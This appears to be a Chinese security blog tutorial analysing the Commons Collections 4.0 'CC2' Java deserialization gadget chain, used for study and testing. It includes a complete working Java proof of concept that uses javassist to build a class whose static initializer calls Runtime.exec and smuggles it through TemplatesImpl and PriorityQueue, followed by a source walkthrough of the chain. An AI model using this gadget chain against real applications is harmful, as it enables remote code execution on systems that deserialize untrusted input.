Java安全 CC链2分析
- cc链2介绍
- 前置知识
- 环境配置
- 类加载机制
- 触发流程
- cc链2POC
- cc链2分析
cc链2介绍
CC2链适用于Apache common collection 4.0版本,由于该版本对AnnotationInvocationHandler类的readObject方法进行了修复,导致cc链1无法使用,故产生了cc链2,cc链2与cc链3相似,都使用了字节码的加载,并且后续的触发链也基本相同
前置知识
环境配置
有关环境配置请看
Java安全 CC链1分析
不同的是由于我们需要使用的版本为cc4,故需要设置pom.xml文件依赖内容如下
<dependencies>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
</dependencies>
类加载机制
可以看这篇文章
Java安全 CC链3分析
触发流程
ysoserial中给出的链
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify();
PriorityQueue.siftDown();
siftUpUsingComparator();
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
cc链2POC
package org.example;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc2 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool classPool=ClassPool.getDefault();//返回默认的类池
classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
CtClass payload=classPool.makeClass("cc2");//创建一个新的public类
payload.setSuperclass(classPool.get(AbstractTranslet)); //设置父类为AbstractTranslet
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个空的类初始化,设置构造函数主体为runtime
byte[] bytes=payload.toBytecode();//转换为byte数组
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
field.setAccessible(true);//暴力反射
field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组
Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
field1.setAccessible(true);//暴力反射
field1.set(templatesImpl,"test");//将templatesImpl上的_name字段设置为test
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
PriorityQueue queue = new PriorityQueue(2);//使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
queue.add(1);//添加数字1插入此优先级队列
queue.add(1);//添加数字1插入此优先级队列
Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
field2.setAccessible(true);//暴力反射
field2.set(queue,comparator);//设置queue的comparator字段值为comparator
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置queue的queue字段内容Object数组,内容为templatesImpl
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream=new ObjectInputStream(new FileInputStream("test.out"));
inputStream.readObject();
}
}
cc链2分析
先看下PriorityQueue类
中的readObject方法
,代码如下
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
这里我们发现,会先调用defaultReadObject()方法
将序列化文件反序列化,然后调用readInt()方法
获取优先队列的长度
然后执行 queue[i] = s.readObject()
,将优先队列的值赋值给queue[i]数组
,queue[i]数组值是在调用writeObject方法序列化时定义的,
queue属性为私有的,我们可以通过反射将其赋值为携带有恶意字节码的
TemplatesImpl
对象,具体利用下面有讲
在对queue[i]
循环赋值完成后会调用heapify()方法
,我们跟进查看其代码
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
我们看到代码 int i = (size >>> 1) - 1;
,此代码会将优先队列的长度右移1位(缩小两倍),然后减1,如果我们想让循环正常进行的话,优先队列的长度至少为2
然后我们看到循环中的 siftDown方法
,代码如下
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
这里E x
则为刚才传入的queue[i]
,我们跟进到siftDownUsingComparator方法
,代码如下
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0) //由此进入
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
这里会对queue[i]
执行comparator.compare
方法,我们看到comparator属性
的定义如下
private final Comparator<? super E> comparator;
我们发现comparator属性
为私有的,在poc当中通过反射把该属性的值设为了TransformingComparator对象
,代码如下
InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象
我们跟进到该对象的compare方法
,代码如下
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
这里调用了InvokerTransformer对象
**(transformer属性)**的transform方法
,我们跟进查看代码
public O transform(final Object input) {
if (input == null) {
return null;
}
try {
final Class<?> cls = input.getClass();
final Method method = cls.getMethod(iMethodName, iParamTypes);
return (O) method.invoke(input, iArgs);
} catch (final NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' does not exist");
} catch (final IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' cannot be accessed");
} catch (final InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" +
input.getClass() + "' threw an exception", ex);
}
}
这里的input属性
仍为之前的queue[i]
,iMethodName属性
的值为我们创建对象时,通过构造方法穿进去的"newTransformer"
method.invoke(input, iArgs);
这句代码会调用queue[i]
的newTransformer
方法
poc中的queue[0]
被赋值为TemplatesImpl对象
,定义如下
Field field3=queue.getClass().getDeclaredField("queue");//获取queue的queue字段
field3.setAccessible(true);//暴力反射
field3.set(queue,new Object[]{templatesImpl,templatesImpl});
//templatesImpl即为携带恶意静态代码的对象
下面流程基本和cc3相同了
我们跟进到TemplatesImpl对象
的newTransformer
方法,代码如下
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); //关键语句
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
我们代码中标注的关键语句调用了getTransletInstance()
方法,我们查看其代码如下
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses();
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
……………………
}
可以看到假如满足if (_name != null)
且if (_class == null)
的话会调用defineTransletClasses()方法
,代码如下
private static String ABSTRACT_TRANSLET
= "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
…………
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass(); //注意
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
…………
}
这里会加载携带恶意静态代码的字节流类_bytecodes
复制给数组_class[i]
,然后回到getTransletInstance()
方法
执行AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
这里会将刚才携带恶意代码的类进行初始化执行静态恶意代码,到此攻击完成
需要注意的是我们构造的这个字节流序列化对象要为AbstractTranslet类
的子类
成功弹出计算器